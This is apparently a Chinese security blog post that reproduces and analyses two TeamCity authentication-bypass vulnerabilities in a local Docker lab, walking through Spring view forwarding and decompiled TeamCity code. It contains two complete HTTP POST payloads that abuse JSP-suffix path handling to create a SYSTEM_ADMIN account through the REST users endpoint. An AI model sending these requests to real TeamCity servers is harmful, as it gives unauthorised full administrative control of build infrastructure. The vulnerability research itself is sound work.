TeamCity漏洞复现分析(CVE-2024-27198、CVE-2024-23917)
2024-03-09 18:47:04

环境搭建

1
2
3
docker run -itd --name teamcity-server-instance3  \
-p 35005:5005 -p 38111:8111 \
jetbrains/teamcity-server:2023.11.2

这个 11.2 随便改成 11.3 11.4就好。

一些Spring的前置知识

(之前没系统学过不知道,知道的师傅们可以跳过了~)

首先是一些 Spring 的前置知识:

1
2
3
4
5
6
7
8
9
10
11
@RequestMapping(value = "/test1")
public ModelAndView t1() {
ModelAndView mav = new ModelAndView();
mav.setViewName("test2"); // 设置视图名称
return mav;
}
@RequestMapping(value = "/test2")
@ResponseBody
public String t2() {
return "x";
}

上面两个方法,当访问 test1 后,会重定向到 test2 函数

具体分析一下为什么:

首先会在这个函数选择解析器

1
org.springframework.web.servlet.DispatcherServlet#resolveViewName

org.springframework.web.servlet.view.AbstractView#render

由于没有配置,默认选择到了:InternalResourceView

然后就是如下的调用过程:

1
2
3
4
org.springframework.web.servlet.view.AbstractView#render
-> org.springframework.web.servlet.view.InternalResourceView#renderMergedOutputModel
-> org.apache.catalina.core.ApplicationDispatcher#forward
-> org.apache.catalina.core.ApplicationDispatcher#doForward

image-20240310170933779

然后 Tomcat 就会根据路由去找对应的方法了~

那么延伸拓展一下,当返回 “index.html” 时是什么处理的呢?

1
2
3
4
@RequestMapping(value = "/index")
public String index() {
return "index.html";
}

经过调试发现,不管是上面 forward 到一个方法,还是返回一个 html,最终都会到这里:

1
org.springframework.web.servlet.DispatcherServlet#doDispatch

image-20240310172225143

上面是返回一个模板,下面是跳转到一个方法:

image-20240310172301909

其实这里说白了就是找路由的那一套了,从 mappingRegistry啊或者别的属性找对应的。

CVE-2024-27198

这个漏洞网上有很多分析了

数据包:

1
2
3
4
5
6
7
POST /xxxx?jsp=/app/rest/users%23.jsp HTTP/1.1
Host: localhost:18111
Connection: close
Content-Length: 134
Content-Type: application/json

{"username": "test123", "password": "test123", "email": "test@test.com","roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

漏洞位置:

1
jetbrains.buildServer.controllers.BaseController#updateViewIfRequestHasJspParameter

image-20240310175443900

image-20240310175500269

只要以 .jsp结尾并且不包含 admin/,就能返回并且直接 set 进去

然后找到处理请求的地方:

1
jetbrains.buildServer.controllers.BaseController#handleRequestInternal

image-20240310175714716

只要返回不是 RedirectView 就会进入到 updateViewIfRequestHasJspParameter 函数。

也就是只要请求一个 404 界面,就会进入到此处,然后传递 jsp 参数 /app/rest/users%23.jsp,这里可以用 #?,因为 tomcat 会在做请求处理之前对路由做一些处理,就会把后面的 .jsp 处理掉了。

这个漏洞的修复和下面是一样的地方~

CVE-2024-23917

找了半天网上也没找到分析,就寻思自己瞎看看

起初我并没有对比出版本差异在哪里,但是我看了下 chybeta 师傅的这张图:

image-20240313020253573

我想应该不是什么很复杂的,毕竟 header 也没有,cookie也没有的,我就觉得估计是路有问题,后来看到一篇文章:

https://attackerkb.com/topics/1XEEEkGHzt/cve-2023-42793/rapid7-analysis

这文章写得很好,让我锁定到了一个类:

1
jetbrains.buildServer.controllers.interceptors.RequestInterceptors

甚至连函数都是一样的:

image-20240313020430018

1
2
3
4
5
6
7
private boolean requestPreHandlingAllowed(@NotNull HttpServletRequest request) {
if (WebUtil.isJspPrecompilationRequest(request)) {
return false;
} else {
return !this.myPreHandlingDisabled.matches(WebUtil.getPathWithoutContext(request));
}
}

只不过上面的漏洞聚焦的是 else 语句块,而这个漏洞聚焦在这个函数:

1
jetbrains.buildServer.web.util.WebUtil#isJspPrecompilationRequest
1
2
3
4
public static boolean isJspPrecompilationRequest(@NotNull final HttpServletRequest request) {
final String uri = StringUtil.notNullize(request.getRequestURI());
return (uri.endsWith(".jsp") || uri.endsWith(".jspf")) && request.getParameter("jsp_precompile") != null;
}

这里其实很简单,就是判断 uri 嘛,那就用最简单的 payload 试了一下:

1
2
3
4
5
6
POST /app/rest/users;.jsp?jsp_precompile=1	 HTTP/1.1
Content-Type: application/json
Host: localhost:18111
Content-Length: 128

{"username": "xixi", "password": "xixi", "email": "test@test.com","roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

image-20240313020825686

没想到还真成功了

漏洞修复

是怎么修复的呢,一开始我也找了好久没找到,然后看到 docker 中有 warning 报错:

image-20240313022638928

搭建好11.3的版本,在这下个断点:

1
com.intellij.openapi.diagnostic.Logger#warn(String)

image-20240313023823684

发现是个代理过的 interceptor,看看此时的 interceptorList

image-20240313042945281

此时页面返回:

1
2
3
4
5
6
HTTP/1.1 403 
TeamCity-Node-Id: MAIN_SERVER
Content-Length: 13
Date: Tue, 12 Mar 2024 19:11:19 GMT

Access denied

上面的 27198 也是这个返回,并且 warning 是一样的,所以应该是在同一个地方做的过滤。

只可惜我没找到他是在哪里定义的

上面 Proxy 中还提到了一个类

1
jetbrains.buildServer.controllers.interceptors.AuthorizationInterceptorImpl#preHandle

但是单看这个类的话并没有看出什么东西

并且新版应该做了什么混淆导致反编译会有一些问题,留给之后看看吧

Prev
2024-03-09 18:47:04
Next